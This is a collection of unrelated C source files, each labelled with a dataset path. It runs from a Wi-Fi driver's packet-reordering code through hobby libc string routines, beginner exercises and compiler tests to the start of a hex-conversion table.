DBGPRINT_ERR(("CntlEnqueueForRecv: BlockAck Request frame length size = %ld incorrect\n", MsgLen)); return FALSE; } else if (MsgLen != sizeof(FRAME_BA_REQ)) { DBGPRINT_ERR(("CntlEnqueueForRecv: BlockAck Request frame length size = %ld incorrect\n", MsgLen)); return FALSE; } if ((Wcid < MAX_LEN_OF_MAC_TABLE) && (TID < 8)) { /* if this receiving packet is from SA that is in our OriEntry. Since WCID <9 has direct mapping. no need search.*/ Idx = pAd->MacTab.Content[Wcid].BARecWcidArray[TID]; pBAEntry = &pAd->BATable.BARecEntry[Idx]; } else { return FALSE; } DBGPRINT(RT_DEBUG_TRACE, ("BAR(%ld) : Tid (%d) - %04x:%04x\n", Wcid, TID, pFrame->BAStartingSeq.field.StartSeq, pBAEntry->LastIndSeq )); if (SEQ_SMALLER(pBAEntry->LastIndSeq, pFrame->BAStartingSeq.field.StartSeq, MAXSEQ)) { /*DBGPRINT(RT_DEBUG_TRACE, ("BAR Seq = %x, LastIndSeq = %x\n", pFrame->BAStartingSeq.field.StartSeq, pBAEntry->LastIndSeq));*/ ba_indicate_reordering_mpdus_le_seq(pAd, pBAEntry, pFrame->BAStartingSeq.field.StartSeq); pBAEntry->LastIndSeq = (pFrame->BAStartingSeq.field.StartSeq == 0) ? MAXSEQ :(pFrame->BAStartingSeq.field.StartSeq -1); } /*ba_refresh_reordering_mpdus(pAd, pBAEntry);*/ return TRUE; } /* Description : Send PSMP Action frame If PSMP mode switches. */ VOID SendPSMPAction( IN PRTMP_ADAPTER pAd, IN UCHAR Wcid, IN UCHAR Psmp) { PUCHAR pOutBuffer = NULL; NDIS_STATUS NStatus; FRAME_PSMP_ACTION Frame; ULONG FrameLen; NStatus = MlmeAllocateMemory(pAd, &pOutBuffer); /*Get an unused nonpaged memory*/ if (NStatus != NDIS_STATUS_SUCCESS) { DBGPRINT(RT_DEBUG_ERROR,("BA - MlmeADDBAAction() allocate memory failed \n")); return; } #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) ActHeaderInit(pAd, &Frame.Hdr, pAd->CommonCfg.Bssid, pAd->CurrentAddress, pAd->MacTab.Content[Wcid].Addr); #endif /* CONFIG_STA_SUPPORT */ Frame.Category = CATEGORY_HT; Frame.Action = SMPS_ACTION; switch (Psmp) { case MMPS_ENABLE: #ifdef RT30xx /* 1x1 chip does not support MIMO Power Save mode*/ if ((IS_RT3071(pAd) || IS_RT3572(pAd) || IS_RT3593(pAd)) &&(pAd->Antenna.field.RxPath>1||pAd->Antenna.field.TxPath>1)) { RTMP_ASIC_MMPS_DISABLE(pAd); } #endif /* RT30xx */ Frame.Psmp = 0; break; case MMPS_DYNAMIC: #ifdef RT30xx if ((IS_RT3071(pAd) || IS_RT3572(pAd) || IS_RT3593(pAd)) &&(pAd->Antenna.field.RxPath>1||pAd->Antenna.field.TxPath>1)) { RTMP_ASIC_MMPS_ENABLE(pAd); } #endif /* RT30xx */ Frame.Psmp = 3; break; case MMPS_STATIC: #ifdef RT30xx if ((IS_RT3071(pAd) || IS_RT3572(pAd) || IS_RT3593(pAd)) &&(pAd->Antenna.field.RxPath>1||pAd->Antenna.field.TxPath>1)) { RTMP_ASIC_MMPS_ENABLE(pAd); } #endif /* RT30xx */ Frame.Psmp = 1; break; } MakeOutgoingFrame(pOutBuffer, &FrameLen, sizeof(FRAME_PSMP_ACTION), &Frame, END_OF_ARGS); MiniportMMRequest(pAd, QID_AC_BE, pOutBuffer, FrameLen); MlmeFreeMemory(pAd, pOutBuffer); DBGPRINT(RT_DEBUG_ERROR,("HT - SendPSMPAction( %d ) \n", Frame.Psmp)); } #define RADIO_MEASUREMENT_REQUEST_ACTION 0 typedef struct GNU_PACKED { UCHAR RegulatoryClass; UCHAR ChannelNumber; USHORT RandomInterval; USHORT MeasurementDuration; UCHAR MeasurementMode; UCHAR BSSID[MAC_ADDR_LEN]; UCHAR ReportingCondition; UCHAR Threshold; UCHAR SSIDIE[2]; /* 2 byte*/ } BEACON_REQUEST; typedef struct GNU_PACKED { UCHAR ID; UCHAR Length; UCHAR Token; UCHAR RequestMode; UCHAR Type; } MEASUREMENT_REQ; void convert_reordering_packet_to_preAMSDU_or_802_3_packet( IN PRTMP_ADAPTER pAd, IN RX_BLK *pRxBlk, IN UCHAR FromWhichBSSID) { PNDIS_PACKET pRxPkt; UCHAR Header802_3[LENGTH_802_3]; /* 1. get 802.3 Header 2. remove LLC a. pointer pRxBlk->pData to payload b. modify pRxBlk->DataSize */ #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) RTMP_802_11_REMOVE_LLC_AND_CONVERT_TO_802_3(pRxBlk, Header802_3); #endif /* CONFIG_STA_SUPPORT */ ASSERT(pRxBlk->pRxPacket); pRxPkt = RTPKT_TO_OSPKT(pRxBlk->pRxPacket); RTMP_OS_PKT_INIT(pRxBlk->pRxPacket, get_netdev_from_bssid(pAd, FromWhichBSSID), pRxBlk->pData, pRxBlk->DataSize); /* copy 802.3 header, if necessary*/ if (!RX_BLK_TEST_FLAG(pRxBlk, fRX_AMSDU)) { #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) { #ifdef LINUX UCHAR *data_p; data_p = OS_PKT_HEAD_BUF_EXTEND(pRxPkt, LENGTH_802_3); NdisMoveMemory(data_p, Header802_3, LENGTH_802_3); #endif } #endif /* CONFIG_STA_SUPPORT */ } } #define INDICATE_LEGACY_OR_AMSDU(_pAd, _pRxBlk, _fromWhichBSSID) \ do \ { \ if (RX_BLK_TEST_FLAG(_pRxBlk, fRX_AMSDU)) \ { \ Indicate_AMSDU_Packet(_pAd, _pRxBlk, _fromWhichBSSID); \ } \ else if (RX_BLK_TEST_FLAG(_pRxBlk, fRX_EAP)) \ { \ Indicate_EAPOL_Packet(_pAd, _pRxBlk, _fromWhichBSSID); \ } \ else \ { \ Indicate_Legacy_Packet(_pAd, _pRxBlk, _fromWhichBSSID); \ } \ } while (0); static VOID ba_enqueue_reordering_packet( IN PRTMP_ADAPTER pAd, IN PBA_REC_ENTRY pBAEntry, IN RX_BLK *pRxBlk, IN UCHAR FromWhichBSSID) { struct reordering_mpdu *mpdu_blk; UINT16 Sequence = (UINT16) pRxBlk->pHeader->Sequence; mpdu_blk = ba_mpdu_blk_alloc(pAd); if ((mpdu_blk != NULL) && (!RX_BLK_TEST_FLAG(pRxBlk, fRX_EAP))) { /* Write RxD buffer address & allocated buffer length */ NdisAcquireSpinLock(&pBAEntry->RxReRingLock); mpdu_blk->Sequence = Sequence; mpdu_blk->OpMode = pRxBlk->OpMode; mpdu_blk->bAMSDU = RX_BLK_TEST_FLAG(pRxBlk, fRX_AMSDU); convert_reordering_packet_to_preAMSDU_or_802_3_packet(pAd, pRxBlk, FromWhichBSSID); STATS_INC_RX_PACKETS(pAd, FromWhichBSSID); /* it is necessary for reordering packet to record which BSS it come from */ RTMP_SET_PACKET_IF(pRxBlk->pRxPacket, FromWhichBSSID); mpdu_blk->pPacket = pRxBlk->pRxPacket; if (ba_reordering_mpdu_insertsorted(&pBAEntry->list, mpdu_blk) == FALSE) { /* had been already within reordering list don't indicate */ RELEASE_NDIS_PACKET(pAd, pRxBlk->pRxPacket, NDIS_STATUS_SUCCESS); ba_mpdu_blk_free(pAd, mpdu_blk); } ASSERT((0<= pBAEntry->list.qlen) && (pBAEntry->list.qlen <= pBAEntry->BAWinSize)); NdisReleaseSpinLock(&pBAEntry->RxReRingLock); } else { DBGPRINT(RT_DEBUG_ERROR, ("!!! (%d) Can't allocate reordering mpdu blk\n", pBAEntry->list.qlen)); /* * flush all pending reordering mpdus * and receving mpdu to upper layer * make tcp/ip to take care reordering mechanism */ /*ba_refresh_reordering_mpdus(pAd, pBAEntry);*/ ba_indicate_reordering_mpdus_le_seq(pAd, pBAEntry, Sequence); pBAEntry->LastIndSeq = Sequence; INDICATE_LEGACY_OR_AMSDU(pAd, pRxBlk, FromWhichBSSID); } } /* ========================================================================== Description: Indicate this packet to upper layer or put it into reordering buffer Parametrs: pRxBlk : carry necessary packet info 802.11 format FromWhichBSSID : the packet received from which BSS Return : none Note : the packet queued into reordering buffer need to cover to 802.3 format or pre_AMSDU format ========================================================================== */ VOID Indicate_AMPDU_Packet( IN PRTMP_ADAPTER pAd, IN RX_BLK *pRxBlk, IN UCHAR FromWhichBSSID) { USHORT Idx; PBA_REC_ENTRY pBAEntry = NULL; UINT16 Sequence = pRxBlk->pHeader->Sequence; ULONG Now32; UCHAR Wcid = pRxBlk->pRxWI->WirelessCliID; UCHAR TID = pRxBlk->pRxWI->TID; if (!RX_BLK_TEST_FLAG(pRxBlk, fRX_AMSDU) && (pRxBlk->DataSize > MAX_RX_PKT_LEN)) { static int err_size; err_size++; if (err_size > 20) { DBGPRINT(RT_DEBUG_TRACE, ("AMPDU DataSize = %d\n", pRxBlk->DataSize)); hex_dump("802.11 Header", (UCHAR *)pRxBlk->pHeader, 24); hex_dump("Payload", pRxBlk->pData, 64); err_size = 0; } /* release packet*/ RELEASE_NDIS_PACKET(pAd, pRxBlk->pRxPacket, NDIS_STATUS_FAILURE); return; } if (Wcid < MAX_LEN_OF_MAC_TABLE) { Idx = pAd->MacTab.Content[Wcid].BARecWcidArray[TID]; if (Idx == 0) { /* Rec BA Session had been torn down */ INDICATE_LEGACY_OR_AMSDU(pAd, pRxBlk, FromWhichBSSID); return; } pBAEntry = &pAd->BATable.BARecEntry[Idx]; } else { /* impossible !!!*/ ASSERT(0); /* release packet*/ RELEASE_NDIS_PACKET(pAd, pRxBlk->pRxPacket, NDIS_STATUS_FAILURE); return; } ASSERT(pBAEntry); /* update last rx time*/ NdisGetSystemUpTime(&Now32); pBAEntry->rcvSeq = Sequence; ba_flush_reordering_timeout_mpdus(pAd, pBAEntry, Now32); pBAEntry->LastIndSeqAtTimer = Now32; /* Reset Last Indicate Sequence*/ /* */ if (pBAEntry->LastIndSeq == RESET_RCV_SEQ) { ASSERT((pBAEntry->list.qlen == 0) && (pBAEntry->list.next == NULL)); /* reset rcv sequence of BA session */ pBAEntry->LastIndSeq = Sequence; pBAEntry->LastIndSeqAtTimer = Now32; INDICATE_LEGACY_OR_AMSDU(pAd, pRxBlk, FromWhichBSSID); return; } /* I. Check if in order.*/ if (SEQ_STEPONE(Sequence, pBAEntry->LastIndSeq, MAXSEQ)) { USHORT LastIndSeq; pBAEntry->LastIndSeq = Sequence; INDICATE_LEGACY_OR_AMSDU(pAd, pRxBlk, FromWhichBSSID); LastIndSeq = ba_indicate_reordering_mpdus_in_order(pAd, pBAEntry, pBAEntry->LastIndSeq); if (LastIndSeq != RESET_RCV_SEQ) { pBAEntry->LastIndSeq = LastIndSeq; } pBAEntry->LastIndSeqAtTimer = Now32; } /* II. Drop Duplicated Packet*/ else if (Sequence == pBAEntry->LastIndSeq) { /* drop and release packet*/ pBAEntry->nDropPacket++; RELEASE_NDIS_PACKET(pAd, pRxBlk->pRxPacket, NDIS_STATUS_FAILURE); } /* III. Drop Old Received Packet*/ else if (SEQ_SMALLER(Sequence, pBAEntry->LastIndSeq, MAXSEQ)) { /* drop and release packet*/ pBAEntry->nDropPacket++; RELEASE_NDIS_PACKET(pAd, pRxBlk->pRxPacket, NDIS_STATUS_FAILURE); } /* IV. Receive Sequence within Window Size*/ else if (SEQ_SMALLER(Sequence, (((pBAEntry->LastIndSeq+pBAEntry->BAWinSize+1)) & MAXSEQ), MAXSEQ)) { ba_enqueue_reordering_packet(pAd, pBAEntry, pRxBlk, FromWhichBSSID); } /* V. Receive seq surpasses Win(lastseq + nMSDU). So refresh all reorder buffer*/ else { LONG WinStartSeq, TmpSeq; TmpSeq = Sequence - (pBAEntry->BAWinSize) -1; if (TmpSeq < 0) { TmpSeq = (MAXSEQ+1) + TmpSeq; } WinStartSeq = (TmpSeq+1) & MAXSEQ; ba_indicate_reordering_mpdus_le_seq(pAd, pBAEntry, WinStartSeq); pBAEntry->LastIndSeq = WinStartSeq; /*TmpSeq; */ pBAEntry->LastIndSeqAtTimer = Now32; ba_enqueue_reordering_packet(pAd, pBAEntry, pRxBlk, FromWhichBSSID); TmpSeq = ba_indicate_reordering_mpdus_in_order(pAd, pBAEntry, pBAEntry->LastIndSeq); if (TmpSeq != RESET_RCV_SEQ) { pBAEntry->LastIndSeq = TmpSeq; } } } VOID BaReOrderingBufferMaintain( IN PRTMP_ADAPTER pAd) { ULONG Now32; UCHAR Wcid; USHORT Idx; UCHAR TID; PBA_REC_ENTRY pBAEntry = NULL; PMAC_TABLE_ENTRY pEntry = NULL; /* update last rx time*/ NdisGetSystemUpTime(&Now32); for (Wcid = 1; Wcid < MAX_LEN_OF_MAC_TABLE; Wcid++) { pEntry = &pAd->MacTab.Content[Wcid]; if (IS_ENTRY_NONE(pEntry)) continue; for (TID= 0; TID < NUM_OF_TID; TID++) { Idx = pAd->MacTab.Content[Wcid].BARecWcidArray[TID]; pBAEntry = &pAd->BATable.BARecEntry[Idx]; ba_flush_reordering_timeout_mpdus(pAd, pBAEntry, Now32); } } } #endif /* DOT11_N_SUPPORT */
the_stack_data/67324788.c
/* *------------------------------------------------------------ * ___ ___ _ * ___ ___ ___ ___ ___ _____| _| . | |_ * | _| . |_ -| _| . | | | . | . | '_| * |_| |___|___|___|___|_____|_|_|_|___|___|_,_| * |_____| firmware v1 * ------------------------------------------------------------ * Copyright (c)2019 Ross Bamford * See top-level LICENSE.md for licence information. * * Basic implementations for string routines, until we get * a libc sorted... * ------------------------------------------------------------ */ #include <stdint.h> #include <stddef.h> void* memset(void *str, int c, size_t n) { // totally naive implementation, will do for now... uint8_t *buf = (uint8_t*) str; for (uint8_t *end = buf + n; buf < end; *buf++ = c) ; return str; } void* memcpy(const void *to, const void *from, size_t n) { // totally naive implementation, will do for now... uint8_t *fbuf = (uint8_t*) from; uint8_t *tbuf = (uint8_t*) to; for (uint8_t *end = fbuf + n; fbuf < end; *tbuf++ = *fbuf++) ; return tbuf; } char* memchr(register const char* src_void, int c, size_t length) { const unsigned char *src = (const unsigned char *)src_void; while (length-- > 0) { if (*src == c) { return (char*)src; } src++; } return NULL; } size_t strlen(const char *s) { size_t i; for (i = 0; s[i] != '\0'; i++) ; return i; } int strcmp(const char *str1, const char *str2) { // totally naive implementation, will do for now... register char c1, c2; while ((c1 = *str1++)) { if (!(c2 = *str2++)) { return 1; } else if (c1 != c2) { return c1 - c2; } } if (*str2) { return -1; } else { return 0; } } int isupper(int c) { return (c >= 'A' && c <= 'Z'); } int islower(int c) { return (c >= 'a' && c <= 'z'); } int toupper(int c) { return islower(c) ? (c) - ('a' - 'A') : c; } int tolower(int c) { return isupper(c) ? (c) + ('a' - 'A') : c; } int strcasecmp (const char *s1, const char *s2) { const unsigned char *p1 = (const unsigned char *) s1; const unsigned char *p2 = (const unsigned char *) s2; int result; if (p1 == p2) { return 0; } while ((result = tolower (*p1) - tolower (*p2++)) == 0) { if (*p1++ == '\0') { break; } } return result; } int strncasecmp (const char *s1, const char *s2, size_t n) { const unsigned char *p1 = (const unsigned char *) s1; const unsigned char *p2 = (const unsigned char *) s2; int result = 0; if (p1 == p2) { return 0; } while (n-- && (result = tolower (*p1) - tolower (*p2++)) == 0) { if (*p1++ == '\0') { break; } } return result; } char *strchr(const char *s, int c) { while (*s != (char)c) { if (!*s++) { return 0; } } return (char *)s; } char *strrchr(const char *s, int c) { const char* ret=0; do { if( *s == (char)c ) { ret=s; } } while(*s++); return (char*)ret; } size_t strnlen(const char* str, size_t maxlen) { char* p = memchr(str, 0, maxlen); if (p == NULL) { return maxlen; } else { return (p - str); } } int strncmp(const char* s1, const char* s2, size_t n) { const unsigned char *p1 = (const unsigned char *) s1; const unsigned char *p2 = (const unsigned char *) s2; int result = 0; if (p1 == p2) { return 0; } while(n-- && (result = *p1 - *p2++) == 0) { if (*p1++ == '\0') break; } return result; } char* strncpy(char *to, const char *from, size_t n) { size_t size = strnlen (from, n); if (size != n) { memset (to + size, '\0', n - size); } return memcpy (to, from, size); } char *strcpy(char *to, const char *from) { register char *d = to; while ((*d++ = *from++) != 0) ; return to; }
the_stack_data/52719.c
/* * Sequencer Symbols * Copyright (c) 2001 by Jaroslav Kysela <[email protected]> * * This library is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef PIC extern const char *_snd_module_seq_hw; static const char **snd_seq_open_objects[] = { &_snd_module_seq_hw }; void *snd_seq_open_symbols(void) { return snd_seq_open_objects; } #endif /* !PIC */
the_stack_data/43887030.c
#include <stdio.h> int main (void) { int x , y , z , wa; printf("三つの整数を入力してください\n"); printf("整数1 :"); scanf("%d", &x); printf("整数2 :"); scanf("%d", &y); printf("整数3 :"); scanf("%d", &z); wa = x + y + z; printf("三つの和は%dです", wa); }
the_stack_data/94691.c
/***********************************************************************************\ * Name of program: "question 2" * * By : * * Name: Titov Alexey * * ID: ????????? * * Class: 39/2 * * Description of the program: * * The program checks whether the string special. Special string is string starting * * with a and ending b. The amount b is more than twice the amount of a. * * O(n), n-length string. * \***********************************************************************************/ #include <stdio.h> #define MAX_MEMBERS 100 typedef struct { char a [MAX_MEMBERS]; int top; }STACK; void create(STACK *s) { s->top=NULL; } int is_empty(STACK *s) { return s->top==NULL; } char pop (STACK *s) { return s->a[s->top--]; } void push (STACK *s, char ch) { s->a[++s->top]=ch; } void NOget () { char ch; ch=getche(); while (ch!=' ') ch=getche(); printf ("\nNormal string"); } void unusual_string () { char ch; STACK s; // s-stack of string. create (&s); ch=getche(); if (ch==' ') //check that user entered a character. printf ("\nUnusal string"); else if (ch!='a') //check that the first letter a. NOget (); else { //fill stack s while (ch=='a') { push(&s,ch); ch=getche(); } if (ch=='b') //check that the letter b. { while (ch=='b') { ch=getche(); if (ch=='b') { ch=getche(); if (!is_empty(&s)) pop(&s); else { NOget (); return ; } } } if (ch==' ') printf ("\nUnusal string"); else NOget (); } else NOget (); } } void main () { unusual_string(); //check that a string is unusual. }
the_stack_data/150141871.c
/* PR middle-end/30704 */ typedef __SIZE_TYPE__ size_t; extern void abort (void); extern int memcmp (const void *, const void *, size_t); extern void *memcpy (void *, const void *, size_t); long long __attribute__((noinline)) f1 (void) { long long t; double d = 0x0.fffffffffffff000p-1022; memcpy (&t, &d, sizeof (long long)); return t; } double __attribute__((noinline)) f2 (void) { long long t = 0x000fedcba9876543LL; double d; memcpy (&d, &t, sizeof (long long)); return d; } int main () { union { long long ll; double d; } u; if (sizeof (long long) != sizeof (double) || __DBL_MIN_EXP__ != -1021) return 0; u.ll = f1 (); if (u.d != 0x0.fffffffffffff000p-1022) abort (); u.d = f2 (); if (u.ll != 0x000fedcba9876543LL) abort (); double b = 234.0; long long c; double d = b; memcpy (&c, &b, sizeof (double)); long long e = c; if (memcmp (&e, &d, sizeof (double)) != 0) abort (); return 0; }
the_stack_data/212641876.c
#include<stdio.h> int main() { int a,b,c,x,z; scanf("%d %d %d", &a, &b, &c); x = ((a+b+abs(a-b))/2); z = ((x+c+abs(x-c))/2); printf("%d eh o maior\n", z); return 0; }
the_stack_data/95519.c
cexit (rcode) { /* closes all files and exits */ int i; for (i = 0; i < 10; i++) cclose(i); exit(rcode); /* rcode courtesy of sny */ }
the_stack_data/53491.c
#include <stdio.h> double Dodaj(double,double);//dwie zmienne przekazane do funkcji dodaj int main( ) { double Skl1 = 2.0, Skl2 = 2.0; double Wynik = Dodaj(Skl1,Skl2); printf(" Wynik dodawania: %f + %f = %f\n",Skl1,Skl2,Wynik); return 0; }
the_stack_data/220455338.c
#include <sys/utsname.h> #include <wchar.h> #include <stdlib.h> #define OS_VERSION_MAX_SIZE 128 wchar_t* getOS() { struct utsname system_info; if (uname(&system_info) != 0) return NULL; wchar_t* os = malloc(sizeof(os) * OS_VERSION_MAX_SIZE); #ifdef __APPLE__ int major_version = atoi(system_info.release); int minor_version = atoi(system_info.release + 3); // Since Darwin 5.1 (released 2001), Darwin xx corresponds to Mac OS X 10.(xx - 4) // Since Darwin 20.1 (released 2020), Darwin xx.yy corresponds to Mac OS X (xx - 9).(yy - 1) const wchar_t* format; if (major_version < 5) { format = L"Mac OS X"; } else if (major_version < 20) { format = L"Mac OS X %d.%d"; minor_version = major_version - 4; major_version = 10; } else { format = L"Mac OS X %d.%d"; minor_version = minor_version - 1; major_version = major_version - 9; } if (swprintf(os, OS_VERSION_MAX_SIZE, format, major_version, minor_version) == -1) { #else if (swprintf(os, OS_VERSION_MAX_SIZE, L"%s %s", system_info.sysname, system_info.release) == -1) { #endif free(os); os = NULL; } return os; }
the_stack_data/179830292.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int total = 0; for (int i = 1; i < argc; i++) { total += atoi(argv[i]); } printf("The sum of these %d numbers is %d\n", argc - 1, total); }
the_stack_data/156392713.c
int Start, End; void foo(int * restrict A) { for (int I = End - 1; I >= Start; --I) A[I] = I; } //CHECK: Printing analysis 'Dependency Analysis (Metadata)' for function 'foo': //CHECK: loop at depth 1 induction_1.c:4:3 //CHECK: shared: //CHECK: <*A:3, ?> //CHECK: first private: //CHECK: <*A:3, ?> //CHECK: dynamic private: //CHECK: <*A:3, ?> //CHECK: induction: //CHECK: <I:4[4:3], 4>:[Int,,,-1] //CHECK: read only: //CHECK: <A:3, 8> | <Start, 4> //CHECK: lock: //CHECK: <I:4[4:3], 4> | <Start, 4> //CHECK: header access: //CHECK: <I:4[4:3], 4> | <Start, 4> //CHECK: explicit access: //CHECK: <A:3, 8> | <I:4[4:3], 4> | <Start, 4> //CHECK: explicit access (separate): //CHECK: <A:3, 8> <I:4[4:3], 4> <Start, 4> //CHECK: lock (separate): //CHECK: <I:4[4:3], 4> <Start, 4> //CHECK: direct access (separate): //CHECK: <*A:3, ?> <A:3, 8> <I:4[4:3], 4> <Start, 4>
the_stack_data/154136.c
#include <sys/ipc.h> #define T(t) (t*)0; #define F(t,n) {t *y = &x.n;} #define C(n) switch(n){case n:;} static void f() { T(uid_t) T(gid_t) T(mode_t) T(key_t) { struct ipc_perm x; F(uid_t,uid) F(gid_t,gid) F(uid_t,cuid) F(gid_t,cgid) F(mode_t, mode) } C(IPC_CREAT) C(IPC_EXCL) C(IPC_NOWAIT) C(IPC_PRIVATE) C(IPC_RMID) C(IPC_SET) C(IPC_STAT) {key_t(*p)(const char*,int) = ftok;} }
the_stack_data/921855.c
const char glsl_bilinear_rgb32_dir_fsh_src[] = "// license:BSD-3-Clause\n" "// copyright-holders:Sven Gothel\n" "#pragma optimize (on)\n" "#pragma debug (off)\n" "\n" "uniform sampler2D color_texture;\n" "uniform vec2 color_texture_pow2_sz; // pow2 tex size\n" "uniform vec4 vid_attributes; // gamma, contrast, brightness\n" "\n" "// #define DO_GAMMA 1 // 'pow' is very slow on old hardware, i.e. pre R600 and 'slow' in general\n" "\n" "#define TEX2D(v) texture2D(color_texture,(v))\n" "\n" "void main()\n" "{\n" " // mix(x,y,a): x*(1-a) + y*a\n" " //\n" " // bilinear filtering includes 2 mix:\n" " //\n" " // pix1 = tex[x0][y0] * ( 1 - u_ratio ) + tex[x1][y0] * u_ratio\n" " // pix2 = tex[x0][y1] * ( 1 - u_ratio ) + tex[x1][y1] * u_ratio\n" " // fin = pix1 * ( 1 - v_ratio ) + pix2 * v_ratio\n" " //\n" " // so we can use the build in mix function for these 2 computations ;-)\n" " //\n" " vec2 pixel = gl_TexCoord[0].st * color_texture_pow2_sz - 0.5;\n" " vec2 uv_ratio = fract(pixel);\n" " vec2 one = 1.0 / color_texture_pow2_sz;\n" " vec2 xy = (floor(pixel) + 0.5) * one;\n" " \n" "#if 1\n" " vec4 col, col2;\n" "\n" " col = mix( TEX2D(xy ), TEX2D(xy + vec2(one.x, 0.0)), uv_ratio.x);\n" " col2 = mix( TEX2D(xy + vec2(0.0, one.y)), TEX2D(xy + one ), uv_ratio.x);\n" " col = mix ( col, col2, uv_ratio.y );\n" "#else\n" " // doesn't work on MacOSX GLSL engine ..\n" " //\n" " vec4 col = mix ( mix( TEX2D(xy ), TEX2D(xy + vec2(one.x, 0.0)), uv_ratio.x),\n" " mix( TEX2D(xy + vec2(0.0, one.y)), TEX2D(xy + one ), uv_ratio.x), uv_ratio.y );\n" "#endif\n" "\n" " // gamma, contrast, brightness equation from: rendutil.h / apply_brightness_contrast_gamma_fp\n" "\n" "#ifdef DO_GAMMA\n" " // gamma/contrast/brightness\n" " vec4 gamma = vec4(1.0 / vid_attributes.r, 1.0 / vid_attributes.r, 1.0 / vid_attributes.r, 0.0);\n" " gl_FragColor = ( pow ( col, gamma ) * vid_attributes.g) + vid_attributes.b - 1.0;\n" "#else\n" " // contrast/brightness\n" " gl_FragColor = ( col * vid_attributes.g) + vid_attributes.b - 1.0;\n" "#endif\n" "}\n" "\n" ;
the_stack_data/4580.c
/* 2006-06-23 * vim:set sw=4 sts=4 et: */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stddef.h> #include <stdarg.h> #include <errno.h> /* * Argument and Result are Stack. Each value is EOV terminated String. * Number can be stored as String. * The result which is not terminated by EOV is error message, except NULL * is no value. */ /* End Of Value */ #define VP_EOV '\xFF' #define VP_EOV_STR "\xFF" #define VP_NUM_BUFSIZE 64 #define VP_NUMFMT_BUFSIZE 16 #define VP_INITIAL_BUFSIZE 512 #define VP_ERRMSG_SIZE 512 #if defined(_WIN64) # define VP_RETURN_IF_FAIL(expr) \ { const char *vp_err = (expr); if (vp_err != NULL) return vp_err; } #else # define VP_RETURN_IF_FAIL(expr) \ do { \ const char *vp_err = expr; \ if (vp_err) return vp_err; \ } while (0) #endif /* buf:var|EOV|var|EOV|top:free buffer|buf+size */ typedef struct vp_stack_t { size_t size; /* stack size */ char *buf; /* stack bufffer */ char *top; /* stack top */ } vp_stack_t; /* use for initialize */ #define VP_STACK_NULL {0, NULL, NULL} static const char CHR2XD[0x100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x20 - 0x2F */ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F */ -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x40 - 0x4F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x50 - 0x5F */ -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x60 - 0x6F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x70 - 0x7F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF */ }; static const char *XD2CHR = "00" "01" "02" "03" "04" "05" "06" "07" "08" "09" "0A" "0B" "0C" "0D" "0E" "0F" "10" "11" "12" "13" "14" "15" "16" "17" "18" "19" "1A" "1B" "1C" "1D" "1E" "1F" "20" "21" "22" "23" "24" "25" "26" "27" "28" "29" "2A" "2B" "2C" "2D" "2E" "2F" "30" "31" "32" "33" "34" "35" "36" "37" "38" "39" "3A" "3B" "3C" "3D" "3E" "3F" "40" "41" "42" "43" "44" "45" "46" "47" "48" "49" "4A" "4B" "4C" "4D" "4E" "4F" "50" "51" "52" "53" "54" "55" "56" "57" "58" "59" "5A" "5B" "5C" "5D" "5E" "5F" "60" "61" "62" "63" "64" "65" "66" "67" "68" "69" "6A" "6B" "6C" "6D" "6E" "6F" "70" "71" "72" "73" "74" "75" "76" "77" "78" "79" "7A" "7B" "7C" "7D" "7E" "7F" "80" "81" "82" "83" "84" "85" "86" "87" "88" "89" "8A" "8B" "8C" "8D" "8E" "8F" "90" "91" "92" "93" "94" "95" "96" "97" "98" "99" "9A" "9B" "9C" "9D" "9E" "9F" "A0" "A1" "A2" "A3" "A4" "A5" "A6" "A7" "A8" "A9" "AA" "AB" "AC" "AD" "AE" "AF" "B0" "B1" "B2" "B3" "B4" "B5" "B6" "B7" "B8" "B9" "BA" "BB" "BC" "BD" "BE" "BF" "C0" "C1" "C2" "C3" "C4" "C5" "C6" "C7" "C8" "C9" "CA" "CB" 